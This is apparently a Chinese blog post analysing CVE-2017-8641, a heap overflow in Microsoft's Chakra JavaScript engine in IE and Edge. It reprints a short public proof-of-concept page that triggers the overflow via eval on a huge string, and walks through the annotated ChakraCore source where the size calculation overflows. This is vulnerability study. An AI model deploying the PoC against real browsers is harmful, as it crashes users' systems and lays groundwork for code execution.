2017年8月8日,CVE官网公布了CVE-2017-8641,在其网上的描述为:
意思是说,黑客可以通过在网页中嵌入恶意构造的javascript代码,使得微软的浏览器(如Edege),在打开这个网页时,造成堆溢出。通过精心构造javascript代码,可以通过浏览器在用户电脑上执行任意代码。受影响的版本包括下列操作系统中的浏览器(IE(9,10,11)和Edge):
1. Windows 7 SP1
2. Windows Server 2008 R2 SP1
3. Windows 8.1
4. Windows RT 8.1
5. Windows Server 2012 and R2
6. Windows 10 Gold, 1511, 1607, 1703
7. Windows Server 2016
最近,这个漏洞的POC被公开了,今天在浏览twiter时,发现有一位外国有人发了一篇推文:
这篇推文里面公开了漏洞的POC,下面是POC代码:
1 <html> 2 <head> 3 <title> CVE-2017-8641 POC </title> 4 </head> 5 <script> 7 var code = 'a'.repeat(0x55555600); 8 eval(code); 9 </script> 10 </html>
从POC中可以看出,代码通过构造一个超长的字符串(0x55555600),然后用JavaScript语言中的eval函数对这个超长字符串进行解析,eval函数的作用是解析某个字符串并执行其中的代码,有点类似于php中的反序列化。
正是在解析这个超长字符串的过程中,浏览器的缓冲区的返回地址被覆盖,造成了溢出,正如推文中所说,“This is a classic heap overflow when eval a string which large enough in Chakra!”,这是一个典型的堆溢出。
漏洞出现在ChakraCore-master\lib\Runtime\Library\GlobalObject.cpp这个文件中,在处理string时,没有对长度做充分检查,从而导致覆盖边界,导致堆溢出,下面是出错程序的代码:
1 ScriptFunction* GlobalObject::DefaultEvalHelper(ScriptContext* scriptContext, const char16 *source, int sourceLength, ModuleID moduleID, uint32 grfscr, LPCOLESTR pszTitle, BOOL registerDocument, BOOL isIndirect, BOOL strictMode) 2 { 3 Assert(sourceLength >= 0); 4 AnalysisAssert(scriptContext); 5 if (scriptContext->GetThreadContext()->EvalDisabled()) 6 { 7 throw Js::EvalDisabledException(); 8 } 9 10 #ifdef PROFILE_EXEC 11 scriptContext->ProfileBegin(Js::EvalCompilePhase); 12 #endif 13 void * frameAddr = nullptr; 14 GET_CURRENT_FRAME_ID(frameAddr); 15 16 HRESULT hr = S_OK; 17 HRESULT hrParser = S_OK; 18 HRESULT hrCodeGen = S_OK; 19 CompileScriptException se; 20 Js::ParseableFunctionInfo * funcBody = NULL; 21 22 BEGIN_LEAVE_SCRIPT_INTERNAL(scriptContext); 23 BEGIN_TRANSLATE_EXCEPTION_TO_HRESULT 24 { 25 uint cchSource = sourceLength; 26 size_t cbUtf8Buffer = (cchSource + 1) * 3; //OVERFLOW when cchSource large enough!!! 27 28 ArenaAllocator tempArena(_u("EvalHelperArena"), scriptContext->GetThreadContext()->GetPageAllocator(), Js::Throw::OutOfMemory); 29 LPUTF8 utf8Source = AnewArray(&tempArena, utf8char_t, cbUtf8Buffer); //Allocate memory on Arena heap with a incorrect but smaller size 30 31 Assert(cchSource < MAXLONG); 32 size_t cbSource = utf8::EncodeIntoAndNullTerminate(utf8Source, source, static_cast< charcount_t >(cchSource)); //OOB write HERE!!! 33 Assert(cbSource + 1 <= cbUtf8Buffer); 34 35 SRCINFO const * pSrcInfo = scriptContext->GetModuleSrcInfo(moduleID); 36 37 [...] 38 39 LEAVE_PINNED_SCOPE(); 40 } 41 END_TRANSLATE_EXCEPTION_TO_HRESULT(hr); 42 END_LEAVE_SCRIPT_INTERNAL(scriptContext); 43 44 45 #ifdef PROFILE_EXEC 46 scriptContext->ProfileEnd(Js::EvalCompilePhase); 47 #endif 48 THROW_KNOWN_HRESULT_EXCEPTIONS(hr, scriptContext); 49 50 if (!SUCCEEDED(hrParser)) 51 { 52 JavascriptError::ThrowParserError(scriptContext, hrParser, &se); 53 } 54 else if (!SUCCEEDED(hrCodeGen)) 55 { 56 [...] 57 } 58 else 59 { 60 61 [...] 62 63 ScriptFunction* pfuncScript = funcBody->IsCoroutine() ? 64 scriptContext->GetLibrary()->CreateGeneratorVirtualScriptFunction(funcBody) : 65 scriptContext->GetLibrary()->CreateScriptFunction(funcBody); 66 67 return pfuncScript; 68 } 69 } 70 71 72 //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp 73 __range(0, cch * 3) 74 size_t EncodeIntoAndNullTerminate(__out_ecount(cch * 3 + 1) utf8char_t *buffer, __in_ecount(cch) const char16 *source, charcount_t cch) 75 { 76 size_t result = EncodeInto(buffer, source, cch); 77 buffer[result] = 0; 78 return result; 79 } 80 81 //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp 82 __range(0, cch * 3) 83 size_t EncodeInto(__out_ecount(cch * 3) LPUTF8 buffer, __in_ecount(cch) const char16 *source, charcount_t cch) 84 { 85 return EncodeIntoImpl<true>(buffer, source, cch); 86 } 87 88 //ChakraCore-master\lib\Common\Codex\Utf8Codex.cpp 89 template <bool cesu8Encoding> 90 __range(0, cchIn * 3) 91 size_t EncodeIntoImpl(__out_ecount(cchIn * 3) LPUTF8 buffer, __in_ecount(cchIn) const char16 *source, charcount_t cchIn) 92 { 93 charcount_t cch = cchIn; // SAL analysis gets confused by EncodeTrueUtf8's dest buffer requirement unless we alias cchIn with a local 94 LPUTF8 dest = buffer; 95 96 if (!ShouldFastPath(dest, source)) goto LSlowPath; 97 98 LFastPath: 99 while (cch >= 4) 100 { 101 uint32 first = ((const uint32 *)source)[0]; 102 if ( (first & 0xFF80FF80) != 0) goto LSlowPath; 103 uint32 second = ((const uint32 *)source)[1]; 104 if ( (second & 0xFF80FF80) != 0) goto LSlowPath; 105 *(uint32 *)dest = (first & 0x0000007F) | ((first & 0x007F0000) >> 8) | ((second & 0x0000007f) << 16) | ((second & 0x007F0000) << 8); //OOB write HERE finally!!! 106 dest += 4; 107 source += 4; 108 cch -= 4; 109 } 110 111 LSlowPath: 112 if (cesu8Encoding) 113 { 114 [...] 115 } 116 else 117 { 118 [...] 119 } 120 121 return dest - buffer; 122 }